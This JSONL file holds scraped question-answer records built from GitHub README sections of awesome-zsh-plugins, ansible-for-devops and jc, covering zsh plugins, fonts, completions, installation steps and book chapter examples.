{"id": "gh_578122b09812", "question": "How to: [ztheme](https://github.com/SkyyySi/ztheme)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/SkyyySi/ztheme)\n ![GitHub Repo stars](https://img.shields.io/github/stars/SkyyySi/ztheme)\n\n**ztheme** is a small and fast theme engine for ZSH.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407354"}
{"id": "gh_104e48548d4d", "question": "How to: [ztupide](https://github.com/mpostaire/ztupide)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/mpostaire/ztupide)\n ![GitHub Repo stars](https://img.shields.io/github/stars/mpostaire/ztupide)\n\n**ztupide** is a simple and fast ZSH plugin manager. It uses `zcompile` and async loading to speed up your shell startup time.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407358"}
{"id": "gh_0dca5c8c6754", "question": "How to: [zulu](https://github.com/zulu-zsh/zulu)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/zulu-zsh/zulu)\n ![GitHub Repo stars](https://img.shields.io/github/stars/zulu-zsh/zulu)\n\n**Zulu** is a environment manager for ZSH 5 or later, which aims to make it easy to manage your shell without writing any code.\n\n- Easily manage your shell environment without editing files.\n- Create aliases, functions and environment variables, and have them available to you at the next shell startup.\n- Add and remove directories from `$path`, `$fpath` and `$cdpath` with simple commands.\n- Install packages, plugins and themes easily, and have them available to you immediately.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407364"}
{"id": "gh_b899ad214bf2", "question": "How to: [zush](https://github.com/shyndman/zush) 🦥 - Mid-Performance ZSH Configuration", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "![GitHub last commit](https://img.shields.io/github/last-commit/shyndman/zush)\n ![GitHub Repo stars](https://img.shields.io/github/stars/shyndman/zush)\n\n**zush** is a performance-aware ZSH configuration designed for sub-200ms startup times while maintaining full functionality.\n\nFeatures:\n\n- Instant Prompts - Basic prompt appears immediately, full prompt loads after ~129ms\n- Plugin Management - Simple `zushp user/repo` command to install GitHub plugins\n- Lazy Loading - Tools like `nvm`, `pyenv`, `cargo` load only when needed\n- Auto-compilation - All ZSH files compiled with `zcompile` for faster loading\n- Smart Caching - Environment changes cached for instant startup", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407380"}
{"id": "gh_d1f3bae209c6", "question": "How to: Prerequisites", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "If you're on a Mac, the `zsh` that comes with it is usually pretty stale. You can use `brew install zsh` to update it.\n\nMany of the themes here use special glyphs for things like displaying a branch icon. You'll need to use a [Nerd Font](https://github.com/ryanoasis/nerd-fonts) or a Powerline-compatible font in your terminal program or you'll see ugly broken boxes where the symbols should be.\n\nHere are a few good sources for Nerd Fonts and Powerline-compatible fonts:\n\n- [Awesome Terminal Fonts](https://github.com/gabrielelana/awesome-terminal-fonts) - A family of fonts that include some nice monospaced Icons.\n- [Cascadia Code](https://github.com/microsoft/cascadia-code) - Microsoft's Cascadia Code\n- [Commit Mono](https://commitmono.com) - Neutral programming typeface.\n- [Fantasque Awesome Font](https://github.com/ztomer/fantasque_awesome_powerline) - A nice monospaced font, patched with Font-Awesome, Octoicons, and Powerline-Glyphs.\n- [Fira Mono](https://github.com/mozilla/Fira) - Mozilla's Fira type family.\n- [Hack](http://sourcefoundry.org/hack/) - Another Powerline-compatible font designed for source code and terminal usage.\n- [Input Mono](https://input.djr.com/) - A family of fonts designed specifically for code. It offers both monospaced and proportional fonts and includes Powerline glyphs.\n- [Iosevka](https://be5invis.github.io/Iosevka/) - Iosevka is an open source slender monospace sans-serif and slab-serif typeface inspired by [Pragmata Pro](http://www.fsd.it/fonts/pragmatapro.htm), M+ and [PF DIN Mono](https://www.myfonts.com/fonts/parachute/pf-din-mono/), designed to be the ideal font for programming.\n- [Monoid](http://larsenwork.com/monoid/) - Monoid is customizable and optimized for coding with bitmap-like sharpness at 15px line-height even on low res displays.\n- [Mononoki](https://madmalik.github.io/mononoki/) - Mononoki is a typeface by Matthias Tellen, created to enhance code formatting.\n- [More Nerd Fonts](https://www.nerdfonts.com/font-downloads) - Another site to download Nerd Fonts.\n- [Nerd fonts](https://github.com/ryanoasis/nerd-fonts) - A collection of over 20 patched fonts (over 1,700 variations) & the fontforge font patcher python script for Powerline, devicons, and vim-devicons: includes Droid Sans, Meslo, AnonymousPro, ProFont, Inconsolta, and many more. These can be installed with `brew` - do `brew tap homebrew/cask-fonts && brew install --cask fontname`\n- [Powerline patched font collection](https://github.com/powerline/fonts) - A collection of a dozen or so fonts patched to include Powerline glyphs.\n- [Spacemono](https://github.com/googlefonts/spacemono) - Google's new original monospace display typeface family.\n- [Victor Mono](https://rubjo.github.io/victor-mono/) - Victor Mono is a free programming font with semi-connected cursive italics, symbol ligatures (!=, ->>, =>, ===, <=, >=, ++) and Latin, Cyrillic and Greek characters.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407391"}
{"id": "gh_737233e7db3b", "question": "How to: Generic ZSH", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "- [A Beautifully Productive Terminal Experience](https://mikebuss.com/2014/02/02/a-beautiful-productive-terminal-experience/) - Tutorial using a combination of [iTerm 2](https://www.iterm2.com/#/section/home), [ZSH](https://en.wikipedia.org/wiki/Z_shell), [Prezto](https://github.com/sorin-ionescu/prezto), [Tmux](https://tmux.github.io), and [Tmuxinator](https://github.com/tmuxinator/tmuxinator) to make for an extremely productive developer workflow.\n- [A Guide to ZSH Completion With Examples](https://thevaluable.dev/zsh-completion-guide-examples/) - Explains ZSH autocompletion configuration with examples.\n- [adamnorwood-zsh](https://github.com/adamnorwood/adamnorwood-zsh/) - A minimalist but readable ZSH setup based on [oh-my-posh](https://ohmyposh.dev/).\n- [Arch Linux's ZSH introduction](https://wiki.archlinux.org/index.php/zsh) -  Not actually Arch or Linux-specific.\n- [GH](https://github.com/gustavohellwig/gh-zsh) - Setup ZSH on debian/Ubuntu-based linuxes. Installs [Powerlevel10k](https://github.com/romkatv/powerlevel10k), [zsh-completions](https://github.com/zsh-users/zsh-completions), [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions), [fast-syntax-highlighting](https://github.com/zdharma-continuum/fast-syntax-highlighting/), and more.\n- [How To Make an Awesome Custom Shell with ZSH](https://linuxstans.com/how-to-make-an-awesome-custom-shell-with-zsh/) - A beginner-friendly tutorial on how to install and configure a ZSH shell.\n- [commandlinepoweruser.com](https://commandlinepoweruser.com/) - Wes Bos' videos introducing ZSH and oh-my-zsh.\n- [Profiling ZSH](https://ellie.wtf/notes/profiling-zsh) - Good article about profiling your ZSH setup to optimize startup time.\n- [rs-example](https://github.com/al-jshen/zshplug-rs-example) - An example plugin showing how a Rust program can listen to and process commands from ZSH.\n- [Why ZSH is Cooler than your Shell](https://www.slideshare.net/jaguardesignstudio/why-zsh-is-cooler-than-your-shell-16194692) - slideshare presentation.\n- [zephyr](https://github.com/mattmc3/zephyr) - Zephyr uses built-in Zsh features to set up better default options, completions, keybindings, history, and much more.\n- [ZSH for Humans](https://github.com/romkatv/zsh4humans) - A turnkey configuration for ZSH that aims to work really well out of the box. It combines a curated set of ZSH plugins into a coherent whole that feels like a finished product rather than a DIY starter kit.\n- [ZSH Pony](https://github.com/mika/zsh-pony) - Covers customizing ZSH without a framework.\n- [ZSH tips by Christian Schneider](http://strcat.de/zsh/#tipps) - An exhaustive list of ZSH tips by Christian Schneider.\n- [ZSH Setup by Easy-Cloud-in](https://github.com/Easy-Cloud-in/zsh-setup) - A powerful Zsh environment setup with Oh My Posh themes, essential plugins, and advanced search capabilities. This repository provides scripts to automatically configure your terminal with modern features and aesthetics. Requires a Debian or Ubuntu based system.\n- [ZSH Unplugged](https://github.com/mattmc3/zsh_unplugged) - Good resource if you want to eliminate using a framework but still easily use plugins.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407401"}
{"id": "gh_2dbd60819686", "question": "How to: Zinit (né zplugin)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "- [BlaCk-Void-Zsh](https://github.com/black7375/BlaCk-Void-Zsh) - :crystal_ball: Awesome, customizable Zsh Starter Kit :stars::stars:. Includes powerline, [fzf](https://github.com/junegunn/fzf) integration, Weather and image viewing in some terminals.\n- [zinit-configs](https://github.com/zdharma-continuum/zinit-configs) - Real-world configuration files (basically a collection of `.zshrc` files) holding [zinit](https://github.com/zdharma-continuum/zinit) invocations.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407408"}
{"id": "gh_9a78957d8303", "question": "How to: ZSH on Windows", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "#### [superconsole](https://github.com/alexchmykhalo/superconsole) - Windows-only\n\n- `ConEmu`/`zsh` out-of-the-box configured to restore previously opened tabs and shell working directories after `ConEmu` restart\n- Choose between clean and inherited environment when starting new SuperConsole sessions\n- Custom colorful scheme, colorful output for various commands\n- `MSYS2` included, `zsh` and necessary software preinstalled, uses zsh-grml-config\n- Uses [Antigen](https://github.com/zsh-users/antigen) for ZSH theme and config management\n- Enabled number of ZSH plugins to activate completion, highlighting and history for most comfortable use\n- Git-for-Windows repo with proper `git` and `git lfs` support for `MSYS2` environment is configured, `git` client already installed.\n- `ssh-agent` for `git` works out-of-box, add your keys to `ConEmu/msys64/ConEmu/msys64/home/user/.ssh` dir\n- Non-blocking ZSH prompt status updates thanks to [agkozak-zsh-prompt](https://github.com/agkozak/agkozak-zsh-prompt)\n- Command-not-found handler customized for `MSYS2` suggests what package to install\n- Sets up `nano` as main editor, enables `nano` syntax highlighting\n- Custom helper scripts added to `ConEmu/msys64/3rdparty`", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407416"}
{"id": "gh_e78fdcfc8dd8", "question": "How to: Completions", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "These plugins add tab completions without adding extra functions or aliases.\n\n- [1password-op](https://github.com/unixorn/1password-op.plugin.zsh) - Loads autocompletions for 1Password's [op](https://developer.1password.com/docs/cli/get-started/) command line tool.\n- [aider](https://github.com/hmgle/aider-zsh-complete) - Tab completions for [aider](https://aider.chat/).\n- [aircrack](https://github.com/Doc0x1/Aircrack-Zsh-Completions) - Adds completions for `airbase-ng`, `aircrack-ng`, `airdecap-ng`, `airdecloak-ng`, `aireplay-ng`, `airmon-ng`, `airodump-ng`, `airolib-ng`, `airserv-ng`, `airtun-ng`, `airventriloquist-ng`.\n- [alembic](https://github.com/datumbrain/oh-my-zsh-alembic) - Adds completions for [Alembic](https://alembic.sqlalchemy.org/), the database migration tool for SQLAlchemy. Includes helper functions for faster workflow, command aliases and status overview functions.\n- [aliyun](https://github.com/thuandt/zsh-aliyun) - Add completions for the [Aliyun CLI](https://github.com/aliyun/aliyun-cli).\n- [ansible-server](https://github.com/viasite-ansible/zsh-ansible-server) - Completions for [viasite-ansible/ansible-server](https://github.com/viasite-ansible/ansible-server).\n- [antibody](https://github.com/sinetoami/antibody-completion) - This plugin provides completion for the [Antibody](https://github.com/getantibody/antibody) plugin manager.\n- [appspec](https://github.com/perlpunk/App-AppSpec-p5) - Generating completions for Bash and ZSH from YAML specs\n- [argc-completions](https://github.com/sigoden/argc-completions) - Uses [argc](https://github.com/sigoden/argc) and [jq](https://github.com/stedolan/jq) to add ZSH tab completions.\n- [atuin](https://github.com/marcelohmdias/zsh-atuin) - Tab completions for the [Atuin](https://github.com/atuinsh/atuin) shell history system.\n- [audogombleed.sh](https://github.com/i-love-coffee-i-love-tea/audogombleed.sh) - Makes it easy to generate completion files using a declarative syntax, quickly and without coding.\n- [autopkg-zsh-completion](https://github.com/fuzzylogiq/autopkg-zsh-completion) - Completions for autopkg.\n- [autorestic](https://github.com/naegling/zsh-autorestic) - automatically installs [Restic](https://github.com/cupcakearmy/autorestic/)'s completions for you, and keeps them up to date as your autorestic version changes.\n- [aws_manager completions](https://github.com/EslamElHusseiny/aws_manager_plugin) - Add completions for the `aws_manager` CLI.\n- [aws-completions](https://github.com/eastokes/aws-plugin-zsh) - Adds completion support for `awscli` to manage AWS profiles/regions and display them in the prompt.\n- [bash-completions-fallback](https://github.com/3v1n0/zsh-bash-completions-fallback) - Support `bash` completions for commands when no native ZSH one is available.\n- [batect](https://github.com/batect/batect-zsh-completion/) - Adds tab completions for [batect](https://batect.dev/) build system.\n- [berkshelf-completions](https://github.com/berkshelf/berkshelf-zsh-plugin) - Adds tab completion for berkshelf.\n- [better-npm-completion](https://github.com/lukechilds/zsh-better-npm-completion) - Better tab completion for `npm`.\n- [bio](https://github.com/yamaton/zsh-completions-bio/) - Completions for bioinformatics tools.\n- [bitbake](https://github.com/antznin/zsh-bitbake) - Completions for [bitbake](https://git.openembedded.org/bitbake).\n- [bosh (krujos)](https://github.com/krujos/bosh-zsh-autocompletion) - Adds [BOSH](https://github.com/cloudfoundry/bosh) autocompletion.\n- [bosh (thomasmitchell)](https://github.com/thomasmitchell/bosh-complete) - Tab completion for [BOSH](https://github.com/cloudfoundry/bosh).\n- [brew-completions](https://github.com/z-shell/brew-completions) - Brings [Homebrew Shell Completion](https://docs.brew.sh/Shell-Completion) under the control of ZSH & [ZI](https://github.com/z-shell/zi/).\n- [brew-services](https://github.com/vasyharan/zsh-brew-services) - Completion plugin for [homebrew](https://brew.sh) services.\n- [buidler](https://github.com/gonzalobellino/buidler-zsh) - Adds completion and useful aliases for NomicLabs Buidler tool.\n- [bw](https://github.com/CupricReki/zsh-bw-completion) - Adds completion for [Bitwarden](https://bitwarden.com/).\n- [cabal (d12frosted)](https://github.com/d12frosted/cabal.plugin.zsh) - Adds autocompletion for cabal.\n- [cabal (ehamberg)](https://github.com/ehamberg/zsh-cabal-completion) - Add tab completion for cabal.\n- [carapace-bin](https://github.com/rsteube/carapace-bin) - Multi-shell multi-command argument completer.\n- [cargo](https://github.com/MenkeTechnologies/zsh-cargo-completion) - All the functionality of the original oh-my-zsh cargo completion, with additional support for remote crates via `cargo search` in `cargo add`.\n- [carthage](https://github.com/squarefrog/zsh-carthage) - Provides completions and aliases for use with [Carthage](https://github.com/Carthage/Carthage).\n- [cf-zsh-autocomplete](https://github.com/norman-abramovitz/cf-zsh-autocomplete-plugin) - Adds autoc", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.407769"}
{"id": "gh_c0119d3e7998", "question": "How to: Installation", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "I recommend [zgenom](https://github.com/jandamm/zgenom) if you don't already have a preferred ZSH framework. It adds minimal overhead during shell session startup because it generates a load script only when you change your plugin list, and that load script is sourced during startup instead of being recalculated every time.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408031"}
{"id": "gh_0759cf883c9e", "question": "How to: [Antigen](https://github.com/zsh-users/antigen)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "Most of these plugins can be installed by adding `antigen bundle githubuser/reponame` to your .zshrc file. Antigen will handle cloning the plugin for you automatically the next time you start `zsh`. You can also add the plugin to a running ZSH with `antigen bundle githubuser/reponame` for testing before adding it to your `.zshrc`.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408037"}
{"id": "gh_3fd0144a6b55", "question": "How to: [Oh-My-Zsh](http://ohmyz.sh/)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "1. `cd ~/.oh-my-zsh/custom/plugins`\n2. `git clone repo`\n3. Add the repo to your plugin list", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408046"}
{"id": "gh_b6ea331ae97a", "question": "How to: [Prezto](https://github.com/sorin-ionescu/prezto)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "1. Clone the plugin into your prezto modules directory\n2. Add the plugin to your `.zpreztorc` file\n3. Open a new terminal window or tab", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408050"}
{"id": "gh_c042989a7b34", "question": "How to: [Zgen](https://github.com/tarjoilija/zgen)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "Zgen is not being actively maintained. I recommend that you switch to the [Zgenom](https://github.com/jandamm/zgenom) fork, which is.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408054"}
{"id": "gh_2e5ef27c7a89", "question": "How to: [Zgenom](https://github.com/jandamm/zgenom)", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "Most of these plugins can be installed by adding `zgenom load githubuser/reponame` to your `.zshrc` file in the same function you're doing your other `zgenom load` calls in.\n\nZgenom will automatically clone the plugin repositories for you when you do a `zgenom save`.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408059"}
{"id": "gh_0fa39e312636", "question": "How to: Writing New Plugins and Themes", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "I've documented some recommendations for writing new plugin and themes [here](https://github.com/unixorn/awesome-zsh-plugins/blob/master/Writing_Plugins_and_Themes.md).\n\nThere is also a more detailed [Zsh Plugin Standard](https://zdharma-continuum.github.io/Zsh-100-Commits-Club/Zsh-Plugin-Standard.html).", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408074"}
{"id": "gh_a6fe996bb615", "question": "How to: Other Useful Lists", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "- [awesome-devenv](https://github.com/jondot/awesome-devenv) - A curated list of awesome tools, resources and workflow tips making an awesome development environment.\n- [awesome-sysadmin](https://github.com/n1trux/awesome-sysadmin) - A curated list of awesome open source sysadmin resources.\n- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy) - A curated list for CLI lovers.\n\nFind other useful awesome-* lists at the [awesome collection](https://github.com/sindresorhus/awesome)", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408081"}
{"id": "gh_bfde8b98560a", "question": "How to: Other References", "question_body": "About unixorn/awesome-zsh-plugins", "answer": "- The [ZSH Reference Card](http://www.bash2zsh.com/zsh_refcard/refcard.pdf) and [zsh-lovers site](https://grml.org/zsh/zsh-lovers.html) are indispensable.\n\n- [Mastering ZSH](https://github.com/rothgar/mastering-zsh) is a great tutorial that builds on the basics to show you advanced ZSH usage, customizations, and practical examples.", "tags": ["unixorn"], "source": "github_gists", "category": "unixorn", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17290, "answer_score": 10, "has_code": false, "url": "https://github.com/unixorn/awesome-zsh-plugins", "collected_at": "2026-01-17T08:18:37.408086"}
{"id": "gh_cdd658097680", "question": "How to: Manuscript", "question_body": "About geerlingguy/ansible-for-devops", "answer": "The book's manuscript is released under the CC BY-SA license, and is publicly available in a separate repository: [Ansible for DevOps - Manuscript](https://github.com/geerlingguy/ansible-for-devops-manuscript).", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.345971"}
{"id": "gh_4565d1c1b93d", "question": "How to: Examples and Chapters in which they're used", "question_body": "About geerlingguy/ansible-for-devops", "answer": "Here is an outline of all the examples contained in this repository, by chapter:", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.345985"}
{"id": "gh_190117c82717", "question": "How to: Chapter 10", "question_body": "About geerlingguy/ansible-for-devops", "answer": "- [`deployments`](deployments/): A playbook that deploys a Ruby on Rails application into an environment that runs Passenger and Nginx to handle web requests.\n  - [`deployments-balancer`](deployments-balancer/): A playbook that handles zero-downtime deployments to webservers running behind an HAProxy load balancer.\n  - [`deployments-rolling`](deployments-rolling/): A playbook that demonstrates rolling deployments to multiple servers for a Node.js app.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.345996"}
{"id": "gh_671dcf1b72ef", "question": "How to: Chapter 11", "question_body": "About geerlingguy/ansible-for-devops", "answer": "- [`security`](security/): A playbook containing many security automation tasks to demonstrate how Ansible helps automate security hardening.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.346002"}
{"id": "gh_ef164fc62405", "question": "How to: Chapter 12", "question_body": "About geerlingguy/ansible-for-devops", "answer": "- [`jenkins`](jenkins/): A playbook that installs and configures Jenkins for CI/CD.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.346007"}
{"id": "gh_c804dea053dd", "question": "How to: Chapter 13", "question_body": "About geerlingguy/ansible-for-devops", "answer": "- [`molecule`](molecule/): A Molecule example used for testing and developing an Ansible playbook, or for testing in a Continuous Integration (CI) environment.\n  - [`molecule-ci.yml` GitHub Actions workflow](.github/workflows/molecule-ci.yml): A GitHub Actions workflow which runs the `molecule` example in a CI environment.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.346013"}
{"id": "gh_7650e1465c40", "question": "How to: Chapter 14", "question_body": "About geerlingguy/ansible-for-devops", "answer": "- [`https-self-signed`](https-self-signed/): A playbook that generates self-signed certificates.\n  - [`https-letsencrypt`](https-letsencrypt/): A playbook that demonstrates automated certificate management with Let's Encrypt and Ansible.\n  - [`https-nginx-proxy`](https-nginx-proxy/): A playbook that demonstrates proxying HTTPS traffic through Nginx to HTTP backends.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.346020"}
{"id": "gh_bb3a56c43e03", "question": "How to: Chapter 15", "question_body": "About geerlingguy/ansible-for-devops", "answer": "- [`docker`](docker/): Very simple playbook demonstrating Ansible's ability to manage Docker container images.\n  - [`docker-hubot`](docker-hubot/): Slightly more involved example of Ansible's ability to manage and run Docker container images.\n  - [`docker-flask`](docker-flask/): A sample Flask app built with Ansible playbooks running inside the container.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.346026"}
{"id": "gh_777ef831623b", "question": "How to: Chapter 16", "question_body": "About geerlingguy/ansible-for-devops", "answer": "- [`kubernetes`](kubernetes/): A playbook that builds a three-node Kubernetes cluster.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.346031"}
{"id": "gh_af37b434be54", "question": "How to: Buy the Book", "question_body": "About geerlingguy/ansible-for-devops", "answer": "[![Ansible for DevOps Cover](https://s3.amazonaws.com/titlepages.leanpub.com/ansible-for-devops/medium)](https://www.ansiblefordevops.com/)\n\nBuy [Ansible for DevOps](https://www.ansiblefordevops.com/) for your e-reader or in paperback format.", "tags": ["geerlingguy"], "source": "github_gists", "category": "geerlingguy", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9573, "answer_score": 10, "has_code": false, "url": "https://github.com/geerlingguy/ansible-for-devops", "collected_at": "2026-01-17T08:18:52.346038"}
{"id": "gh_c70ccca48240", "question": "How to: Why Would Anyone Do This!?", "question_body": "About kellyjonbrazil/jc", "answer": "For more information on the motivations for this project, please see my blog\npost on [Bringing the Unix Philosophy to the 21st Century](https://blog.kellybrazil.com/2019/11/26/bringing-the-unix-philosophy-to-the-21st-century/) and my [interview with Console](https://console.substack.com/p/console-89).\n\nSee also:\n- [libxo on FreeBSD](http://juniper.github.io/libxo/libxo-manual.html)\n- [powershell](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/convertto-json?view=powershell-7)\n- [blog: linux apps should have a json flag](https://thomashunter.name/posts/2012-06-06-linux-cli-apps-should-have-a-json-flag)\n- [Hacker News discussion](https://news.ycombinator.com/item?id=28266193)\n- [Reddit discussion](https://www.reddit.com/r/programming/comments/pa4cbb/bringing_the_unix_philosophy_to_the_21st_century/)\n\nUse Cases:\n- [Bash scripting](https://blog.kellybrazil.com/2021/04/12/practical-json-at-the-command-line/)\n- [Ansible command output parsing](https://blog.kellybrazil.com/2020/08/30/parsing-command-output-in-ansible-with-jc/)\n- [Saltstack command output parsing](https://blog.kellybrazil.com/2020/09/15/parsing-command-output-in-saltstack-with-jc/)\n- [Nornir command output parsing](https://blog.kellybrazil.com/2020/12/09/parsing-command-output-in-nornir-with-jc/)\n- [FortiSOAR command output parsing](https://docs.fortinet.com/document/fortisoar/1.0.0/jc-parse-command-output/323/jc-parse-command-output-v1-0-0)", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8507, "answer_score": 10, "has_code": false, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947180"}
{"id": "gh_9f2e96fbb101", "question": "How to: Installation", "question_body": "About kellyjonbrazil/jc", "answer": "There are several ways to get `jc`. You can install via `pip`, OS package\n[repositories](https://repology.org/project/jc/versions), or by downloading the\ncorrect [binary](https://github.com/kellyjonbrazil/jc/releases) for your\narchitecture and running it anywhere on your filesystem.", "tags": ["kellyjonbrazil"], "source": "github_gists", "category": "kellyjonbrazil", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 8507, "answer_score": 10, "has_code": false, "url": "https://github.com/kellyjonbrazil/jc", "collected_at": "2026-01-17T08:18:53.947194"}
